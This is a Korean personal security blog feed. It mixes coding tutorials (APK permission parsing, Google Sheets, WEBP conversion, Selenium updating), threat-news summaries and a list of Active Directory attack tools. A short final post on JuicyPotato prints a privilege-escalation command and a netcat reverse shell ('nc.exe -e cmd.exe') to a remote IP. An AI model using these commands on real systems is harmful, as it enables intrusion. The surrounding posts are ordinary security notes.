CALL DWORD PTR DS:[a2sembly]

Python으로 APK 디코드하고 권한 추출하기

a2sembly — Tue, 19 Nov 2024 22:33:07 +0900

악성 앱 분석에서 APK가 요구하는 권한을 파악하는 것은 중요합니다. 따라서, APK 파일을 디컴파일하고 AndroidManifest.xml을 분석하는 과정을 반드시 필요합니다. 이번 글에서는 Python과 apktool을 사용해 다수의 APK 파일을 디컴파하고, 앱이 요청하는 권한을 추출하는 방법을 단계별로 설명합니다.

1. 필요한 도구 및 환경 설정 ️

다음 도구와 라이브러리가 필요합니다:

apktool: APK를 디컴파일하는 데 사용되는 도구입니다. (apktool 다운로드)
Python 3.x: 코드 실행을 위한 프로그래밍 언어
Pip 설치

pip install xml.etree.ElementTree

2. 코드 전체 흐름

아래는 코드의 주요 흐름입니다:

APK 디컴파일: apktool을 사용해 APK를 디컴파일합니다.
AndroidManifest.xml 파일 찾기: 디컴파일된 디렉토리에서 파일을 검색합니다.
권한 분석: AndroidManifest.xml에서 권한 정보를 읽고, 이를 JSON 형식으로 저장합니다.

3. 핵심 코드 분석

(1) APK 디컴파일 함수: decode_apk

APK 파일을 디컴파일해 결과를 저장할 디렉토리를 생성합니다.

def decode_apk(apk_path):
    output_dir = f"{apk_path}_decoded"
    if not os.path.exists(output_dir):
        call(f"java -jar apktool_2.9.3.jar d {apk_path} -o {output_dir}", shell=True)
    else:
        print(f"Directory {output_dir} already exists. Skipping decoding.")
    return output_dir

(2) AndroidManifest.xml 분석: parse_manifest

AndroidManifest.xml 파일에서 패키지 이름과 권한을 추출합니다.

def parse_manifest(file_path, permissions_dict):
    try:
        tree = ET.parse(file_path)
        root = tree.getroot()
        ns = {'android': '{http://schemas.android.com/apk/res/android}'}
        package_name = root.get('package', 'Unknown Package')
        permissions = root.findall(".//uses-permission", ns)
        extracted_permissions = []
        for perm in permissions:
            perm_name = perm.get(f"{ns['android']}name")
            if perm_name:
                simple_name = perm_name.split('.')[-1]
                description = permissions_dict.get(simple_name, "No description available")
                extracted_permissions.append({"permission": simple_name, "description": description})
        return package_name, extracted_permissions, file_path
    except ET.ParseError:
        return 'Unknown Package', [], file_path

(3) 코드 실행 결과

{
    "com.example.app": {
        "file_path": "Result/com.example.app/AndroidManifest.xml",
        "permissions": [
            {
                "permission": "ACCESS_FINE_LOCATION",
                "description": "정확한 위치에 접근"
            },
            {
                "permission": "READ_CONTACTS",
                "description": "연락처 읽기"
            }
        ]
    }
}

Reference

상세 코드는 아래 Github URL에서 확인할 수 있습니다.

https://github.com/a2sembly/AndroidManifest_Parser

GitHub - a2sembly/AndroidManifest_Parser

Contribute to a2sembly/AndroidManifest_Parser development by creating an account on GitHub.

github.com

주간 사이버 보안 인텔리전스 요약 (24년 11월)

a2sembly — Sun, 17 Nov 2024 23:37:44 +0900

최신 사이버 위협 동향과 관련된 연구를 간략히 요약합니다. 주요 사이버 공격 사례, 취약점, 위협 정보 및 관련 동향을 정리한 내용입니다.

주요 공격 및 데이터 유출

1. 메모리얼 병원 및 매너 랜섬웨어 공격

위치: 미국 조지아주 베인브리지
공격자: Embargo 랜섬웨어 그룹
⚠️ 결과: 전자 의료 기록 시스템 접근 불가, 1.15TB의 데이터 유출 위협.

2. 영국 Serco 추적 시스템 사이버 공격

영향: 교도소 운송 차량 추적 시스템 및 비상 경보 비활성화.
️ 원인: Microlise(소프트웨어 제공업체) 대상 공격.

3. ️ SelectBlinds 고객 정보 유출

내용: 약 20만 명의 개인 정보 및 결제 정보 도난.
기간: 9개월 동안 웹사이트 체크아웃 페이지에 악성코드 삽입.

️ 주요 취약점 및 패치

1. Cisco URWB Access Points

취약점 번호: CVE-2024-20418
⚡ 위험도: CVSS 10.0 (심각)
내용: 비인가 원격 공격자가 루트 권한으로 명령 실행 가능.

2. Aruba 네트워크 액세스 포인트

취약점 번호: CVE-2024-42509, CVE-2024-47460
내용: UDP 포트 8211을 통해 비인가 명령 주입 공격 가능.

3. 안드로이드 보안 업데이트

내용: 두 가지 제로데이 취약점(CVE-2024-43093, CVE-2024-43047) 해결.
️ 영향: 권한 상승 및 원격 코드 실행 방지.

주요 사례 연구

INC Ransomware

산업: 헬스케어 (북미 지역)
️ 기법: AnyDesk, Mimikatz 등을 이용한 자격 증명 탈취 및 INC 랜섬웨어 실행.

COZY BEAR(APT29)의 Phishing Campaign

지역: 유럽 및 북미
내용: 악성 RDP 파일을 통해 피해자의 로컬 시스템에 침입

기타 동향

2. 북한 연계 그룹

️ Lazarus(APT38): 멕시코 암호화폐 회사 대상 공격.
ScarCruft(APT37): Internet Explorer 취약점(CVE-2024-38178) 악용.

Reference

https://research.checkpoint.com/2024/11th-november-threat-intelligence-report/

11th November – Threat Intelligence Report - Check Point Research

For the latest discoveries in cyber research for the week of 11th November, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES Memorial Hospital and Manor in Bainbridge, Georgia, has been a victim of a ransomware attack that resulte

research.checkpoint.com

https://www.bitdefender.com/en-us/blog/hotforsecurity/russian-hackers-ukrainian-rdp-phishing-aws

Russian Hackers Target Ukrainian Military and Organizations with RDP Phishing Campaign

Hacking group Cozy Bear, working under Russia's Foreign Intelligence Service, targeted industry and military in Ukraine using fake AWS domains.

www.bitdefender.com

https://www.picussecurity.com/resource/blog/understanding-and-mitigating-midnight-blizzards-rdp-based-spearphishing-campaign

Understanding and Mitigating Midnight Blizzard's RDP-Based Spear Phishing Campaign

Midnight Blizzard's spear-phishing campaign uses malicious RDP files to target sectors like government, defense, and academia. Learn about the attack and mitigation steps.

www.picussecurity.com

https://research.checkpoint.com/2024/the-evolution-of-transparent-tribes-new-malware/

Cloudy With a Chance of RATs: Unveiling APT36 and the Evolution of ElizaRAT - Check Point Research

Recent cyber attacks by Transparent Tribe, or APT36, utilize increasingly sophisticated malware called ElizaRAT

research.checkpoint.com

랜섬웨어 이미르: Ymir ransomware

a2sembly — Sat, 16 Nov 2024 20:22:58 +0900

https://www.boannews.com/media/view.asp?idx=134374&page=1&kind=1

대단히 은밀하고 비밀스러운 랜섬웨어 이미르, 타 조직과 파트너십 맺고 움직여

새로운 랜섬웨어가 등장했다. 이름은 이미르(Ymir)로, 여러 가지 독특한 기능을 가지고 있어 관심을 끌고 있다. 이미르를 사용하는 공격자들은 먼저 파워셸을 통해 피해자의 시스템에 접근하여

www.boannews.com

https://thehackernews.com/2024/11/new-ymir-ransomware-exploits-memory-for.html

https://www.kaspersky.com/about/press-releases/kaspersky-identifies-new-stealthy-ransomware

Kaspersky identifies new stealthy ransomware

Kaspersky’s Global Emergency Response Team has identified a previously unseen ransomware strain in active use, deployed in an attack following the theft of employee credentials. The ransomware, dubbed “Ymir”, employs advanced stealth and encryption m

www.kaspersky.com

Python gspread로 구글 시트(Google Sheet) 연동하기

a2sembly — Fri, 15 Nov 2024 00:27:29 +0900

0. 프로젝트 생성

만약 프로젝트가 없다면 프로젝트를 생성합니다.

1. Key 발급

https://console.cloud.google.com/home 에 접속한다.

그런 다음 API 개요로 이동한다.
왼쪽 메뉴에 라이브러리로 이동

그런 다음 Google Drive API를 검색하여 설치한다.

설치가 완료되었으면 관리로 들어간다.

왼쪽 메뉴의 사용자 인증 정보로 들어간다. ( 사용자 인증 정보 만들기 클릭 )

아래 그럼 처럼 셋팅한다.

그런 다음 Google Sheet API를 검색하여 설치한다.

아래 명령어를 통해 모듈을 설치합니다.
- pip install gspread
- pip install oauth2client

docs.google.com/spreadsheets 설정

문서 생성 후 상단 공유 버튼 클릭

링크가 있는 모든 사용자로 변경

추가적으로 링크를 복사해 gspread로 구글 시트를 제어할 수 있습니다.

개발자들을 노리는 고급 피싱 도구, 고이슈(GoIssue)

a2sembly — Thu, 14 Nov 2024 00:02:36 +0900

https://m.boannews.com/html/detail.html?mtype=2&tab_type=D&idx=134299

깃허브에서 활동하는 개발자들을 노리는 고급 피싱 도구, 고이슈

새로운 피싱 도구가 사이버 범죄자들 사이에서 유행하기 시작했다. 이 도구는 깃허브(GitHub)에서 활동하는 개발자들을 집중적으로 노리는 피싱 메일 키트로, 이름은 고이슈(GoIssue)다. 깃허브 프

m.boannews.com

https://m.boannews.com/html/detail.html?tab_type=1&idx=134288

획기적인 위협이 될 새로운 피싱 도구 고이슈, 깃허브의 개발자들 노려

보안 외신 해커뉴스에 의하면 새로운 피싱 도구가 등장했다고 한다. 이름은 고이슈(GoIssue)로, 깃허브에서 활동하는 개발자들을 주로 노리는 도구로 분석됐다. 고이슈는 대량의 피싱 메일을 발송

m.boannews.com

https://www.infosecurity-magazine.com/news/phishing-goissue-targets-github/

Phishing Tool GoIssue Targets Developers on GitHub

New phishing tool GoIssue targets GitHub, enabling mass phishing, and has been linked to the GitLoker extortion campaign

www.infosecurity-magazine.com

https://www.darkreading.com/cloud-security/goissue-cybercrime-tool-github-developers-en-masse

Python: WEBP to JPG/PNG - WEBP 확장자를 JPG/PNG로!

a2sembly — Wed, 13 Nov 2024 01:50:14 +0900

️ WEBP란?

WEBP는 Google에서 개발한 이미지 파일 형식으로, 압축 효율이 높아 웹 페이지의 로딩 속도를 빠르게 해줍니다.

BUT.... 일부 프로그램은 WEBP를 지원하지 않으므로, 다른 형식으로 변환이 필요할 수 있습니다.

Python에서 이미지를 처리하기 위한 대표적인 라이브러리로는 Pillow와 OpenCV가 있습니다. 이 글에서는 설치와 사용이 간편한 Pillow를 활용한 변환 방법을 소개합니다.

1️⃣ Pillow 설치 및 설정 방법

Pillow는 다음과 같은 명령어로 설치할 수 있습니다.

pip install pillow

1️⃣.1️⃣ JPG로 변환하기

다음은 Python 코드로 WEBP 이미지를 JPG로 변환하는 방법입니다.

from PIL import Image

# WEBP 이미지를 불러와 JPG로 저장
input_image = "image.webp"
output_image = "image.jpg"

# 이미지 열기
with Image.open(input_image) as img:
    img.convert("RGB").save(output_image, "JPEG")

1️⃣.2️⃣ PNG로 변환하는 방법

WEBP 이미지를 PNG 형식으로 저장하려면, JPEG 대신 PNG를 지정하면 됩니다.

output_image = "image.png"

with Image.open(input_image) as img:
    img.save(output_image, "PNG")

1️⃣.3️⃣ 여러 파일을 일괄 변환하는 방법

import os
from PIL import Image

input_folder = "input_images"
output_folder = "output_images"

for filename in os.listdir(input_folder):
    if filename.endswith(".webp"):
        input_image = os.path.join(input_folder, filename)
        output_image = os.path.join(output_folder, f"{os.path.splitext(filename)[0]}.jpg")
        
        with Image.open(input_image) as img:
            img.convert("RGB").save(output_image, "JPEG")

1️⃣.4️⃣ 해상도 및 품질 조정

save 함수에 quality 옵션을 통해 품질을 조절할 수 있으며, resize 함수로 해상도를 조절할 수 있습니다.

img_resized = img.resize((800, 600))
img_resized.save(output_image, "JPEG", quality=85)

구글 캘린더를 이용한 RAT - GCR

a2sembly — Fri, 10 Nov 2023 18:58:59 +0900

점점 정상 클라우드 서비스를 C2로 사용하는 악성코드가 많이 등장하는 것 같다..

타임라인 분석 시 좀 더 상세하게 확인해야 할 필요가 늘고 있다.

GCR - Google Calendar RAT Github

아래는 Github 주소

https://github.com/MrSaighnal/GCR-Google-Calendar-RAT

Active Directroy 관련 공격 도구

a2sembly — Thu, 17 Aug 2023 18:01:01 +0900

spraykatz
- Credentials gathering tool automating remote procdump and parse of lsass process.
BloodHound
- Six Degrees of Domain Admin.
CrackMapExec
- A swiss army knife for pentesting networks.
pywerview
- A (partial) Python rewriting of PowerSploit's PowerView.
Prenum
- The perils of the pre-Windows 2000 compatible access group in a Windows domain.
adPEAS
- Powershell tool to automate Active Directory enumeration.
CypherDog
- PowerShell Cmdlets to interact with BloodHound Data via Neo4j HTTP API.
Invoke-ADEnum
- Automate Active Directory Enumeration using PowerView.
LDAPNomNom
- Anonymously bruteforce Active Directory usernames by abusing LDAP Ping requests.
lsassy
- Python tool to remotely extract credentials on a set of hosts.
o365recon
- Retrieve information via O365 and AzureAD with valid credentials.
LDAP Password Hunter
- Password Hunter in active directory.
FindUncommonShares
- Quickly find uncommon shares in vast Windows domains.
ADRecon
- Gather information about the Active Directory and generates a report.
AzureADLateralMovement
- Lateral movement graph for Azure Active Directory.
Snaffler
- A tool to help at finding delicious candy needles in a bunch of horrible boring haystacks.
RidRelay
- Enumerate usernames on a domain where you have no creds by using SMB relay.
jackdaw
- Gather gather gather.
WinPwn
- Automation for internal Windows pentest / AD-Security.
ADRT
- Active Directory Report Tool.
SharpHose
- Asynchronous password spraying tool for Windows environments.
windapsearch
- Enumerate users, groups and computers from a Windows domain through LDAP queries.
Rubeus
- Rubeus is a toolkit for Kerberos interaction and abuses.
linWinPwn
- Automates a number of Active Directory enumeration and vulnerability.
msldap
- LDAP library for auditing Microsoft Active Directory.
ADAPE Script
- Active Directory assessment and privilege escalation script.
ADReaper
- Enumerate an Active Directory environment with LDAP queries.
ADenum
- Find misconfiguration through LDAP to exploit weaknesses with Kerberos.

C# Selenium 자동 업데이트

a2sembly — Wed, 16 Aug 2023 16:37:05 +0900

1. Chrome Version 확인

private static string GetChromeVersion()
        {
            // Note: Chrome must be installed in the default location
            string keyPath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe";
            string result = null;

            using (RegistryKey key = Registry.LocalMachine.OpenSubKey(keyPath))
            {
                if (key == null)
                {
                    MessageBox.Show("Chrome 브라우저가 설치되어 있지 않거나, 기본 경로 설치 경로가 아닙니다.\nChrome 브라우저를 재설치 해주세요.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    Application.ExitThread();
                }
                object executablePath = null;
                if (key != null) { executablePath = key.GetValue(""); }
                if (executablePath == null)
                {
                    MessageBox.Show("Chrome 브라우저가 설치되어 있지 않거나, 기본 경로 설치 경로가 아닙니다.\nChrome 브라우저를 재설치 해주세요.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    Application.ExitThread();
                }
                else
                {
                    FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(executablePath.ToString());
                    result = versionInfo.FileVersion;
                }
            }

            return result;
        }

2. Selenium Driver 버전 확인

private static string GetSeleniumVersion()
        {
            string driverPath = Path.Combine(Setting.CurrentDirectory, "chromedriver.exe");
            string result = null;

            ProcessStartInfo startInfo = new ProcessStartInfo
            {
                FileName = driverPath,
                Arguments = "--version",
                UseShellExecute = false,
                RedirectStandardOutput = true,
                CreateNoWindow = true
            };

            Process process = new Process
            {
                StartInfo = startInfo
            };

            process.Start();

            while (!process.StandardOutput.EndOfStream)
            {
                result = process.StandardOutput.ReadLine();
            }

            process.WaitForExit();
            string pattern = @"(?<=ChromeDriver )(.*?)(?= \()";
            Match match = Regex.Match(result, pattern);

            if (match.Success)
            {
                result = match.Value;
            }
            return result;
        }

3. 버전 비교 및 업데이트

public static void Download_SeleniumDriver()
        {
            var client = new WebClient();
            string zipFilePath = Path.Combine(Setting.CurrentDirectory, "chromedriver_win32.zip");
            string exeFilePath = Path.Combine(Setting.CurrentDirectory, "chromedriver.exe");
            string LICENSE_iFilePath = Path.Combine(Setting.CurrentDirectory, "LICENSE.chromedriver");
            string majorVersion = null;
            string latest_chromedriver = null;
            string downloadUrl = null;

            string chromeVersion = GetChromeVersion();
            if (chromeVersion == null) { Application.ExitThread(); }
            else
            {
                majorVersion = chromeVersion.Substring(0, chromeVersion.LastIndexOf('.'));
                latest_chromedriver = Web.Gethtml($"https://chromedriver.storage.googleapis.com/LATEST_RELEASE_{majorVersion}");
                downloadUrl = $"https://chromedriver.storage.googleapis.com/{latest_chromedriver}/chromedriver_win32.zip";
                if (!File.Exists(exeFilePath))
                {
                    try
                    {
                        client.DownloadFile(downloadUrl, zipFilePath);
                        ZipFile.ExtractToDirectory(zipFilePath, Setting.CurrentDirectory);
                    }
                    catch
                    {
                        if (File.Exists(zipFilePath)) { File.Delete(zipFilePath); }
                        if (File.Exists(LICENSE_iFilePath)) { File.Delete(LICENSE_iFilePath); }
                        MessageBox.Show("Chromedriver를 정상 다운로드 할 수 없습니다.\n인터넷 연결 확인 후 재실행하거나 직접 다운로드가 필요합니다.\n프로그램 재실행 이후에도 지속적인 문제가 발생할 경우 개발자게에 문의주세요.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
            }
            string seleniumVersion = GetSeleniumVersion();

            if (seleniumVersion != latest_chromedriver)
            {
                try
                {
                    client.DownloadFile(downloadUrl, zipFilePath);
                    using (var archive = ZipFile.OpenRead(zipFilePath))
                    {
                        foreach (var entry in archive.Entries)
                        {
                            string entryPath = Path.Combine(Setting.CurrentDirectory, entry.FullName);

                            if (File.Exists(entryPath))
                                File.Delete(entryPath);

                            entry.ExtractToFile(entryPath);
                        }
                    }
                }
                catch
                {
                    if (File.Exists(zipFilePath)) { File.Delete(zipFilePath); }
                    if (File.Exists(LICENSE_iFilePath)) { File.Delete(LICENSE_iFilePath); }
                    MessageBox.Show("Chromedriver를 정상 다운로드 할 수 없습니다.\n인터넷 연결 확인 후 재실행하거나 직접 다운로드가 필요합니다.\n프로그램 재실행 이후에도 지속적인 문제가 발생할 경우 개발자게에 문의주세요.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
            }
            if (File.Exists(zipFilePath)) { File.Delete(zipFilePath); }
            if (File.Exists(LICENSE_iFilePath)) { File.Delete(LICENSE_iFilePath); }

        }

JuciyPotato usage

a2sembly — Fri, 11 Aug 2023 14:36:26 +0900

- Victim

jp.exe -t * -p C:\Users\12\Desktop\2312\r-shell.bat.bat -l 1337

- shell.bat

START C:\Users\12\Desktop\2312\nc.exe -e cmd.exe 10.10.10.10 1111

- Client

nc -nlvp 1111

CALL DWORD PTR DS:[a2sembly]

Python으로 APK 디코드하고 권한 추출하기

1. 필요한 도구 및 환경 설정 ️

2. 코드 전체 흐름

3. 핵심 코드 분석

(1) APK 디컴파일 함수: decode_apk

(2) AndroidManifest.xml 분석: parse_manifest

(3) 코드 실행 결과

Reference

주간 사이버 보안 인텔리전스 요약 (24년 11월)

주요 공격 및 데이터 유출

1. 메모리얼 병원 및 매너 랜섬웨어 공격

2. 영국 Serco 추적 시스템 사이버 공격

3. ️ SelectBlinds 고객 정보 유출

️ 주요 취약점 및 패치

1. Cisco URWB Access Points

2. Aruba 네트워크 액세스 포인트

3. 안드로이드 보안 업데이트

최신 위협 인텔리전스 보고

1. Rhadamanthys 정보 탈취 캠페인

2. APT36의 ElizaRAT

3. SteelFox 트로이목마

주요 사례 연구

INC Ransomware

COZY BEAR(APT29)의 Phishing Campaign

기타 동향

2. 북한 연계 그룹

Reference

랜섬웨어 이미르: Ymir ransomware

Python gspread로 구글 시트(Google Sheet) 연동하기

0. 프로젝트 생성

1. Key 발급

docs.google.com/spreadsheets 설정

개발자들을 노리는 고급 피싱 도구, 고이슈(GoIssue)

Python: WEBP to JPG/PNG - WEBP 확장자를 JPG/PNG로!

️ WEBP란?

1️⃣ Pillow 설치 및 설정 방법

1️⃣.1️⃣ JPG로 변환하기

1️⃣.2️⃣ PNG로 변환하는 방법

1️⃣.3️⃣ 여러 파일을 일괄 변환하는 방법

1️⃣.4️⃣ 해상도 및 품질 조정

구글 캘린더를 이용한 RAT - GCR

Active Directroy 관련 공격 도구

C# Selenium 자동 업데이트

JuciyPotato usage